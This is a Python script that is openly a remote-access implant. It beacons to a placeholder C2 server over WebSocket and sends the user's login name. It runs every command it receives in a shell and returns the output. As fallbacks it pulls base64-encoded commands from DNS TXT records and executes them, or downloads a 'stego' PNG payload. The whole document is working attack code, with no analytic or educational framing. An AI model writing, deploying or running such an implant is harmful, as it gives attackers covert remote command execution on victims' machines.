import websocket

import dns.resolver

import base64

import os

import subprocess

import requests

import json

C2\_WEBSOCKET = "ws://your-c2-server.com/ws"

DNS\_C2\_DOMAIN = "c2.yourdns.com"

STEGO\_URL = "http://your-c2-server.com/stego/payload.png"

def execute\_command(cmd):

try:

return subprocess.check\_output(cmd, shell=True).decode()

except Exception as e:

return str(e)

def beacon\_ws():

ws = websocket.WebSocket()

ws.connect(C2\_WEBSOCKET)

ws.send(os.getlogin()) # Send unique identifier

while True:

message = ws.recv()

command = json.loads(message).get("cmd", "")

if command:

result = execute\_command(command)

ws.send(result)

def beacon\_dns():

try:

response = dns.resolver.resolve(DNS\_C2\_DOMAIN, "TXT")

command = base64.b64decode(response[0].to\_text().strip('"')).decode()

execute\_command(command)

except:

pass

def fetch\_stego\_payload():

response = requests.get(STEGO\_URL)

with open("/tmp/stego.png", "wb") as f:

f.write(response.content)

def covert\_execute():

# Detect best C2 method (WebSocket > DNS > Stego)

try:

beacon\_ws()

except:

try:

beacon\_dns()

except:

fetch\_stego\_payload()

if \_\_name\_\_ == "\_\_main\_\_":

covert\_execute()